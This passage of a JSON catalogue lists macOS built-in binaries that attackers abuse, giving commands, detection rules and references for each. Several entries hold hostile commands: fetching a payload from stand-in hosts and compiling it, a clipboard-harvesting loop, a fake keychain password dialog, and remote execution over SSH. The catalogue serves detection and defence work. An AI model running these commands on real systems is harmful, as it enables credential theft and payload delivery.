           "value": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/notifyutil.yml",
         "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/",
         "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html",
         "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
       ]
     },
     {
       "id": "loobins:nscurl:5b4e238d88fa7cf3",
       "toolId": "loobins:nscurl",
       "toolName": "nscurl",
       "name": "Download file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Command and Control"
       ],
       "command": "nscurl -k https://google.com -o /private/tmp/google",
       "description": "Download file and ignore cert checking",
       "mitre": [],
       "fullPath": [
         "/usr/bin/nscurl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect all curl and nscurl activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/all_curl_activity"
         },
         {
           "type": "Jamf Protect: Detect file downloads using the insecure argument for curl and nscurl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/file_download_curl_insecure"
         },
         {
           "type": "Sigma: File Download Via Nscurl - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/nscurl.yml",
         "https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos"
       ]
     },
     {
       "id": "loobins:nscurl:ee54398ef9eb9eff",
       "toolId": "loobins:nscurl",
       "toolName": "nscurl",
       "name": "Download file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Command and Control"
       ],
       "command": "nscurl https://google.com -dl",
       "description": "Download file to the Downloads directory using -dl",
       "mitre": [],
       "fullPath": [
         "/usr/bin/nscurl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect all curl and nscurl activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/all_curl_activity"
         },
         {
           "type": "Jamf Protect: Detect file downloads using the insecure argument for curl and nscurl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/file_download_curl_insecure"
         },
         {
           "type": "Sigma: File Download Via Nscurl - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/nscurl.yml",
         "https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos"
       ]
     },
     {
       "id": "loobins:nscurl:5e3b292edcfd8e16",
       "toolId": "loobins:nscurl",
       "toolName": "nscurl",
       "name": "Download file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion",
         "Command and Control"
       ],
       "command": "nscurl https://google.com -dir /private/tmp/google",
       "description": "Download file to a designated directory using -dir",
       "mitre": [],
       "fullPath": [
         "/usr/bin/nscurl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect all curl and nscurl activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/all_curl_activity"
         },
         {
           "type": "Jamf Protect: Detect file downloads using the insecure argument for curl and nscurl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/file_download_curl_insecure"
         },
         {
           "type": "Sigma: File Download Via Nscurl - MacOS",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/nscurl.yml",
         "https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl",
         "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos"
       ]
     },
     {
       "id": "loobins:nvram:0d1e2b7144728348",
       "toolId": "loobins:nvram",
       "toolName": "nvram",
       "name": "Get nvram variables",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "nvram -p",
       "description": "The -p option prints all the nvram variables that contain some potentially sensitive information like WiFi SSIDs and Bluetooth devices.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/nvram"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing.",
           "value": "No detections at time of publishing."
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/nvram.yml",
         "https://ss64.com/osx/nvram.html"
       ]
     },
     {
       "id": "loobins:odutil:1a80777abd38d15d",
       "toolId": "loobins:odutil",
       "toolName": "odutil",
       "name": "Listing the available node names",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "odutil show nodenames",
       "description": "List all available node names",
       "mitre": [],
       "fullPath": [
         "/usr/bin/odutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/odutil.yml",
         "https://macosbin.com/bin/odutil",
         "https://www.unix.com/man-page/osx/1/odutil/"
       ]
     },
     {
       "id": "loobins:odutil:c97f832e924791c8",
       "toolId": "loobins:odutil",
       "toolName": "odutil",
       "name": "Retrieves active session",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "odutil show sessions",
       "description": "Retrieves all active sessions",
       "mitre": [],
       "fullPath": [
         "/usr/bin/odutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/odutil.yml",
         "https://macosbin.com/bin/odutil",
         "https://www.unix.com/man-page/osx/1/odutil/"
       ]
     },
     {
       "id": "loobins:odutil:27e596cc427f4d65",
       "toolId": "loobins:odutil",
       "toolName": "odutil",
       "name": "Retrieves \"Default search policy\"",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "odutil show configuration /Search",
       "description": "Retrieves the configuration of \"Default search policy\"",
       "mitre": [],
       "fullPath": [
         "/usr/bin/odutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/odutil.yml",
         "https://macosbin.com/bin/odutil",
         "https://www.unix.com/man-page/osx/1/odutil/"
       ]
     },
     {
       "id": "loobins:odutil:076a878e325ba974",
       "toolId": "loobins:odutil",
       "toolName": "odutil",
       "name": "Retrieves \"Contact search policy\"",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "odutil show configuration /Contacts",
       "description": "Retrieves the configuration of \"Contact search policy\"",
       "mitre": [],
       "fullPath": [
         "/usr/bin/odutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/odutil.yml",
         "https://macosbin.com/bin/odutil",
         "https://www.unix.com/man-page/osx/1/odutil/"
       ]
     },
     {
       "id": "loobins:open:9d6e5bf92253e8b1",
       "toolId": "loobins:open",
       "toolName": "open",
       "name": "Open a malicious file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "open Malicious.app",
       "description": "The open command can be used to open a malicious macOS app from the terminal.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/open"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/open.yml",
         "https://scriptingosx.com/2017/02/the-macos-open-command/"
       ]
     },
     {
       "id": "loobins:open:baa2cd4b26d3da10",
       "toolId": "loobins:open",
       "toolName": "open",
       "name": "Download a malicious file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "open -g https://mypayload.io/payload.zip; sleep 3; killall Safari",
       "description": "The following command downloads the payload.zip file in the default browser (Safari) and then kills it.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/open"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/open.yml",
         "https://scriptingosx.com/2017/02/the-macos-open-command/"
       ]
     },
     {
       "id": "loobins:osacompile:62c7b7fda3724111",
       "toolId": "loobins:osacompile",
       "toolName": "osacompile",
       "name": "Download and compile a payload",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Command and Control",
         "Resource Development"
       ],
       "command": "curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app",
       "description": "The following command downloads an applescript payload from getpayload.com and compiles it into an app.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osacompile"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: In-Memory Download And Compile Of Payloads (experimental/pending)",
           "value": "https://github.com/SigmaHQ/sigma/pull/4127/commits/f4b0264a83e5f47473029e26dc0879fb196a7d07"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osacompile.yml",
         "https://redcanary.com/blog/mac-application-bundles/"
       ]
     },
     {
       "id": "loobins:osascript:eb192e839a2c73e1",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Use the osascript binary to gather sensitive clipboard data",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection",
         "Credential Access"
       ],
       "nativeCategory": [
         "Collection",
         "Credential Access"
       ],
       "command": "while true; do echo $(osascript -e 'return (the clipboard)') >> clipdata.txt; sleep 10; done",
       "description": "A bash loop can gather clipboard contents over a defined time period. The following command calls /usr/bin/osascript -e 'return (the clipboard)' indefinitely every 10 seconds and writes clipboard content to a text file.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:e7145a781a0f1138",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Use the osascript binary to gather system information",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection",
         "Discovery"
       ],
       "nativeCategory": [
         "Collection",
         "Discovery"
       ],
       "command": "osascript -e 'return (system info)'",
       "description": "osascript can be used to gather the operating system version, current username, user ID, computer name, IP address, and other information.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:d587958586ecaf12",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Use the osascript binary to prompt the user for credentials",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Credential Access"
       ],
       "nativeCategory": [
         "Credential Access"
       ],
       "command": "osascript -e 'set popup to display dialog \"Keychain Access wants to use the login keychain\" & return & return & \"Please enter the keychain password\" & return default answer \"\" with icon file \"System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:FileVaultIcon.icns\" with title \"Authentication Needed\" with hidden answer'",
       "description": "osascript can be used to generate a dialogue box and request the user to enter the keychain password.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:eee928fec29a8165",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Use the osascript binary to execute a JXA (JavaScript for Automation) file.",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "echo \"ObjC.import('Cocoa');\\nObjC.import('stdlib');\\nvar currentApp = Application.currentApplication();\\ncurrentApp.includeStandardAdditions = true;\\ncurrentApp.doShellScript('open -a Calculator.app');\" > calc.js && osascript -l JavaScript calc.js",
       "description": "JXA is often used by red teams (and potentially attackers) as a macOS payload, as JXA is native to macOS and can access various internal macOS APIs (such as Cocoa, Foundation, OSAKit, etc.). The osascript binary can be used to execute JXA payloads by simply running \"osascript [file.js]\" but some malware or offensive tools may also use \"osascript -l JavaScript [file.js]\".",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:f761e47f7cf28e2e",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Execute shell commands via osascript do shell script",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Defense Evasion",
         "Privilege Escalation"
       ],
       "nativeCategory": [
         "Execution",
         "Defense Evasion",
         "Privilege Escalation"
       ],
       "command": "osascript -e 'do shell script \"id\"'",
       "description": "osascript's 'do shell script' handler executes arbitrary shell commands through the AppleScript runtime. Commands spawned this way are children of osascript rather than the calling shell, which can bypass detection logic tied to specific parent-child process relationships. The 'with administrator privileges' flag triggers a native macOS authentication prompt and runs the command as root if the user authenticates, without requiring sudo.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:a48177c8d82f5af7",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Remote command execution over SSH using osascript do shell script",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement",
         "Execution"
       ],
       "nativeCategory": [
         "Lateral Movement",
         "Execution"
       ],
       "command": "ssh -i key.pem user@<TARGET_IP> 'bash -s' <<'EOF'\nosascript -e 'do shell script \"id\"'\nEOF",
       "description": "osascript's 'do shell script' handler can be invoked over an SSH session to execute arbitrary shell commands on a remote macOS host. This technique requires only SSH access to the target. Unlike when using Remote Apple Events (eppc://) with osascript, it does not require port 3031 to be accessible, Remote Apple Events to be enabled, or the target application to be running. This makes it viable against hosts where eppc:// is blocked by the firewall or disabled in System Settings, and against headless or server Macs that have no active GUI session.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to generating dialogs using osascript and asking for specific user input",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_dialog_activity.yaml"
         },
         {
           "type": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)",
           "value": "Process Lineage Detection: Monitor for suspicious process trees indicative of RAS-based execution (launchd -> AppleEventsD -> Terminal -> sh/bash)"
         },
         {
           "type": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications",
           "value": "Command Line Argument Detection: osascript executions containing eppc:// arguments or base64 --decode commands originating from GUI applications"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/osascript.yml",
         "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:osascript:1b57fc0621ffd467",
       "toolId": "loobins:osascript",
       "toolName": "osascript",
       "name": "Mount SMB volume without GUI using osascript mount volume",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Lateral Movement"
       ],
       "nativeCategory": [
         "Lateral Movement"
       ],
       "command": "osascript -e 'mount volume \"smb://user:<PASSWORD>@<TARGET_IP>/share\"'",
       "description": "osascript can mount an SMB share on the local machine using the 'mount volume' command. This approach bypasses the macOS GUI requirement for enabling Windows File Sharing password storage on the target, which is required when using the mount command directly. The share is mounted to /Volumes/<sharename> and its contents are immediately accessible as local files.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/osascript"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)",
           "value": "Command Line Argument Detection (args contain osascript AND -e AND clipboard)"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript gathering clipboard content",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_system_information.yaml"
         },
         {
           "type": "Jamf Protect: Detect activity that is related to osascript pulling system information",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/applescript_gather_clipboard.yaml"
         },
         {
